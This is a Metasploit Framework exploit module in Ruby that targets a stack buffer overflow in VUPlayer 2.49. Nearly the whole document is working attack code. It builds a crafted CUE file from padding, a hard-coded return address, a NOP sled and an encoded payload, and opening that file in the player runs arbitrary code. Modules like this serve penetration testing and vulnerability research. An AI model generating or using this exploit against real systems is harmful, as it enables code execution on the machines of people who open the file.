VUPlayer CUE Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VUPlayer CUE Buffer Overflow',  
'Description' => %q{  
This module exploits a stack over flow in VUPlayer <= 2.49. When  
the application is used to open a specially crafted cue file, an buffer is overwritten allowing  
for the execution of arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],  
'Version' => '$Revision:$',  
'References' =>  
[  
[ 'BID', '33960' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},   
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00",  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],   
],  
'Privileged' => false,  
'DisclosureDate' => 'Aug 18 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.cue']),  
], self.class)  
  
end  
  
def exploit  
  
sploit = rand_text_alpha_upper(1012)  
sploit << [target.ret].pack('V')  
sploit << "\x90" * 12  
sploit << payload.encoded  
  
cue = "FILE ""\""  
cue << sploit  
cue << ".BIN""\"" + " BINARY\r\n"  
cue << "TRACK 01 MODE1/22352\r\n"  
cue << "INDEX 01 00:00:00\r\n"  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(cue)  
  
end  
  
end  
`